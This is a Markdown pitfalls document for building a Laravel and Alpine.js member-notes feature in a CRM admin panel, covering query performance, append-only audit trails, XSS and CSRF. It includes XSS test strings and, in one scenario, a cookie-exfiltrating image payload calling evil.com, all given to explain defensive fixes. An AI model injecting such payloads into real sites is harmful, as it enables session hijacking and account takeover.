262 lines
10 KiB
Markdown
262 lines
10 KiB
Markdown
# Domain Pitfalls
|
|
|
|
**Domain:** CRM/Admin Member Note Systems
|
|
**Researched:** 2026-02-13
|
|
|
|
## Critical Pitfalls
|
|
|
|
Mistakes that cause rewrites or major issues.
|
|
|
|
### Pitfall 1: N+1 Query Explosion on Member List
|
|
**What goes wrong:** Loading note counts without eager loading causes N+1 queries (1 query per member row).
|
|
|
|
**Why it happens:** Developer writes `$member->notes->count()` in Blade loop, triggering lazy load per iteration.
|
|
|
|
**Consequences:**
|
|
- Member list page load time grows linearly with pagination size
|
|
- Database connection pool exhaustion (15 members = 15 extra queries)
|
|
- Poor UX (slow page loads)
|
|
|
|
**Prevention:**
|
|
```php
|
|
// WRONG: Lazy loading in loop
|
|
$members = Member::paginate(15);
|
|
// In Blade: {{ $member->notes->count() }} = 15 extra queries
|
|
|
|
// RIGHT: Eager load counts
|
|
$members = Member::withCount('notes')->paginate(15);
|
|
// In Blade: {{ $member->notes_count }} = 1 query total
|
|
```
|
|
|
|
**Detection:** Laravel Debugbar shows 15+ queries on member list page; query log shows repeated `SELECT * FROM notes WHERE notable_id = ?`.
|
|
|
|
---
|
|
|
|
### Pitfall 2: Allowing Note Edit/Delete Breaks Audit Trail
|
|
**What goes wrong:** Adding "Edit" or "Delete" buttons on notes destroys compliance value.
|
|
|
|
**Why it happens:** Users request ability to "fix typos" or "remove mistakes"; developer adds feature without considering audit implications.
|
|
|
|
**Consequences:**
|
|
- Legal/compliance risk (no immutable record of observations)
|
|
- Loss of trust (admins can rewrite history)
|
|
- Violates NPO transparency expectations
|
|
- Healthcare standards require append-only audit trails
|
|
|
|
**Prevention:**
|
|
- Hard constraint in requirements: NO edit/delete operations
|
|
- Database triggers to prevent UPDATE/DELETE on notes table (optional)
|
|
- UI design: no edit/delete buttons, only "Add Correction" button that creates new note
|
|
- Documentation: explain append-only pattern to stakeholders upfront
|
|
|
|
**Detection:** Warning signs: user stories mention "edit note," "delete note," or "fix note."
|
|
|
|
---
|
|
|
|
### Pitfall 3: XSS Vulnerability via Unescaped Note Content
|
|
**What goes wrong:** User enters `<script>alert('XSS')</script>` in note content, executes on admin viewing notes.
|
|
|
|
**Why it happens:** Developer uses `{!! $note->content !!}` (unescaped) instead of `{{ $note->content }}` (escaped) in Blade.
|
|
|
|
**Consequences:**
|
|
- Security breach (session hijacking, CSRF token theft)
|
|
- Malicious admin can inject scripts affecting other admins
|
|
- Compliance violation (data integrity)
|
|
|
|
**Prevention:**
|
|
```php
|
|
// Backend: Strip HTML tags on save
|
|
$note->content = strip_tags($request->content);
|
|
|
|
// Blade: Always escape (default)
|
|
{{ $note->content }} // ✓ Safe (auto-escapes)
|
|
{!! $note->content !!} // ✗ Dangerous (unescaped)
|
|
|
|
// Alpine.js: Use x-text, not x-html
|
|
<div x-text="note.content"></div> // ✓ Safe
|
|
<div x-html="note.content"></div> // ✗ Dangerous
|
|
```
|
|
|
|
**Detection:** Penetration testing; submit `<img src=x onerror=alert(1)>` in note form and check if alert fires.
|
|
|
|
---
|
|
|
|
### Pitfall 4: CSRF Token Missing on AJAX Requests
|
|
**What goes wrong:** Axios POST requests fail with 419 CSRF error.
|
|
|
|
**Why it happens:** Axios not configured to send `X-XSRF-TOKEN` header, or cookie not set.
|
|
|
|
**Consequences:**
|
|
- All note creation fails (HTTP 419)
|
|
- Poor UX (users can't add notes)
|
|
- Frustration (appears broken)
|
|
|
|
**Prevention:**
|
|
```javascript
|
|
// Verify in resources/js/bootstrap.js:
|
|
axios.defaults.headers.common['X-Requested-With'] = 'XMLHttpRequest';
|
|
// Axios automatically reads XSRF-TOKEN cookie and sends as X-XSRF-TOKEN header
|
|
|
|
// Verify in Blade layout:
|
|
<meta name="csrf-token" content="{{ csrf_token() }}">
|
|
|
|
// Laravel automatically sets XSRF-TOKEN cookie on page load
|
|
```
|
|
|
|
**Detection:** Browser console shows `POST /admin/members/1/notes 419 CSRF token mismatch`; Laravel logs show CSRF validation failure.
|
|
|
|
## Moderate Pitfalls
|
|
|
|
### Pitfall 5: Storing Author Name (String) Instead of user_id (Foreign Key)
|
|
**What goes wrong:** Storing `author_name: "John Smith"` instead of `user_id: 42`.
|
|
|
|
**Prevention:** Use foreign key to `users` table; join to get name dynamically. Prevents orphaned author names if user renamed.
|
|
|
|
---
|
|
|
|
### Pitfall 6: Forgetting to Index notable_id in Polymorphic Table
|
|
**What goes wrong:** Queries like `WHERE notable_id = 123 AND notable_type = 'App\\Models\\Member'` become slow without composite index.
|
|
|
|
**Prevention:** Migration includes `$table->index(['notable_type', 'notable_id'])` (morphs() helper does this automatically).
|
|
|
|
---
|
|
|
|
### Pitfall 7: Using Global Alpine.js Store for Notes
|
|
**What goes wrong:** `Alpine.store('notes', {...})` creates shared state; updating notes for Member A affects Member B's UI.
|
|
|
|
**Prevention:** Use component-scoped `x-data` per member row (see ARCHITECTURE.md Pattern 3).
|
|
|
|
---
|
|
|
|
### Pitfall 8: Not Handling AJAX Errors Gracefully
|
|
**What goes wrong:** Network failure causes silent failure; user thinks note saved but it didn't.
|
|
|
|
**Prevention:** Always show user feedback on error:
|
|
```javascript
|
|
catch (error) {
|
|
if (error.response?.status === 422) {
|
|
alert('備註內容不得為空或超過 1000 字');
|
|
} else {
|
|
alert('新增備註失敗，請稍後再試');
|
|
}
|
|
}
|
|
```
|
|
|
|
---
|
|
|
|
### Pitfall 9: Loading All Notes on Page Load (Performance)
|
|
**What goes wrong:** Eager loading `with('notes')` on member list loads ALL note content, bloating response.
|
|
|
|
**Prevention:** Use `withCount('notes')` to load only counts; fetch full notes via AJAX when user expands panel.
|
|
|
|
## Minor Pitfalls
|
|
|
|
### Pitfall 10: Inconsistent Timestamp Formatting
|
|
**What goes wrong:** Mixing "2 hours ago" and "2026-02-13 14:30" without context confuses users.
|
|
|
|
**Prevention:** Use relative timestamps for recent (<24h), absolute for older, with tooltip showing full ISO 8601.
|
|
|
|
---
|
|
|
|
### Pitfall 11: No Loading State on AJAX Submit
|
|
**What goes wrong:** User clicks "儲存" multiple times during slow network, creates duplicate notes.
|
|
|
|
**Prevention:** Disable submit button while `isAdding === true`:
|
|
```html
|
|
<button @click="addNote" :disabled="isAdding">
|
|
<span x-show="!isAdding">儲存</span>
|
|
<span x-show="isAdding">儲存中...</span>
|
|
</button>
|
|
```
|
|
|
|
---
|
|
|
|
### Pitfall 12: Not Escaping Traditional Chinese Quotes in JSON
|
|
**What goes wrong:** Note content with `「quoted text」` breaks JSON parsing if not properly escaped.
|
|
|
|
**Prevention:** Use `json_encode()` (Laravel does automatically); test with Traditional Chinese punctuation.
|
|
|
|
---
|
|
|
|
### Pitfall 13: Missing Empty State Message
|
|
**What goes wrong:** Expanded note panel shows blank space when member has no notes; user confused.
|
|
|
|
**Prevention:**
|
|
```html
|
|
<div x-show="notes.length === 0">
|
|
<p class="text-gray-500">尚無備註</p>
|
|
</div>
|
|
```
|
|
|
|
---
|
|
|
|
### Pitfall 14: Forgetting Dark Mode Styling
|
|
**What goes wrong:** Note panel has white background in dark mode, blinds users.
|
|
|
|
**Prevention:** Use Tailwind `dark:` prefix on all color classes (see ARCHITECTURE.md).
|
|
|
|
## Phase-Specific Warnings
|
|
|
|
| Phase Topic | Likely Pitfall | Mitigation |
|
|
|-------------|---------------|------------|
|
|
| **Database Migration** | Forgetting `notable_type` and `notable_id` index | Use `$table->morphs('notable')` (auto-creates index) |
|
|
| **Model Relationships** | Using `hasMany` instead of `morphMany` | Follow polymorphic pattern from start (future-proof) |
|
|
| **Controller JSON Responses** | Returning raw model instead of Resource | Always wrap in `new NoteResource($note)` for consistency |
|
|
| **Alpine.js AJAX** | Using Fetch API without CSRF token | Use Axios (already configured with CSRF in bootstrap.js) |
|
|
| **Blade Templates** | Unescaping note content | Always use `{{ }}` not `{!! !!}` for user input |
|
|
| **Query Optimization** | Lazy loading note counts | Use `withCount('notes')` in controller query |
|
|
| **Audit Logging** | Forgetting to log note creation | Add `AuditLogger::log()` call in controller `store()` method |
|
|
| **Access Control** | Adding new permission instead of reusing middleware | Reuse existing `admin` middleware (all admin roles share notes) |
|
|
| **UI/UX** | Full page reload after note submit | Use AJAX with Alpine.js (no navigation) |
|
|
| **Testing** | Not testing with Traditional Chinese input | Test with `「」、。！？` characters in note content |
|
|
|
|
## Real-World Failure Modes
|
|
|
|
### Scenario 1: The Disappeared Notes
|
|
**What happened:** Developer used `onDelete('cascade')` on `user_id` foreign key. When an admin user account was deleted, all their notes disappeared.
|
|
|
|
**Impact:** Lost audit trail; compliance violation.
|
|
|
|
**Fix:** Use `onDelete('restrict')` on `user_id` (prevent user deletion if they authored notes) OR use soft deletes on users table.
|
|
|
|
---
|
|
|
|
### Scenario 2: The Slow Member List
|
|
**What happened:** 15-member list took 3 seconds to load due to N+1 queries loading note counts.
|
|
|
|
**Impact:** Poor UX; users complained about slowness.
|
|
|
|
**Fix:** Changed `Member::paginate(15)` to `Member::withCount('notes')->paginate(15)`. Load time dropped to 200ms.
|
|
|
|
---
|
|
|
|
### Scenario 3: The XSS Attack
|
|
**What happened:** Malicious admin entered `<img src=x onerror=fetch('https://evil.com?cookie='+document.cookie)>` in note. When chairman viewed notes, session cookie leaked.
|
|
|
|
**Impact:** Session hijacking; chairman account compromised.
|
|
|
|
**Fix:** Added `strip_tags()` on backend save, changed Blade to `{{ }}`, changed Alpine.js to `x-text`.
|
|
|
|
---
|
|
|
|
### Scenario 4: The CSRF 419 Mystery
|
|
**What happened:** All note submissions failed with 419 error after developer added custom Axios instance without CSRF config.
|
|
|
|
**Impact:** Feature completely broken; users frustrated.
|
|
|
|
**Fix:** Reverted to global `axios` instance configured in `bootstrap.js` (includes CSRF token automatically).
|
|
|
|
## Sources
|
|
|
|
- [10 Essential Audit Trail Best Practices for 2026](https://signal.opshub.me/audit-trail-best-practices/) - Append-only logging
|
|
- [Addendums to Progress Notes - Healthcare Compliance](https://support.sessionshealth.com/article/393-addendum) - Why no editing
|
|
- [Laravel Debugbar N+1 Query Detection](https://github.com/barryvdh/laravel-debugbar) - Performance monitoring
|
|
- [Laravel 10.x CSRF Protection](https://laravel.com/docs/10.x/csrf) - CSRF token handling
|
|
- [Laravel 10.x Blade Security](https://laravel.com/docs/10.x/blade#displaying-data) - XSS prevention
|
|
- [Alpine.js Security Best Practices](https://alpinejs.dev/essentials/templating#security) - x-text vs x-html
|
|
- [OWASP XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html) - Input sanitization
|
|
|
|
---
|
|
*Pitfalls research for: Member Notes System (會員備註系統)*
|
|
*Researched: 2026-02-13*
|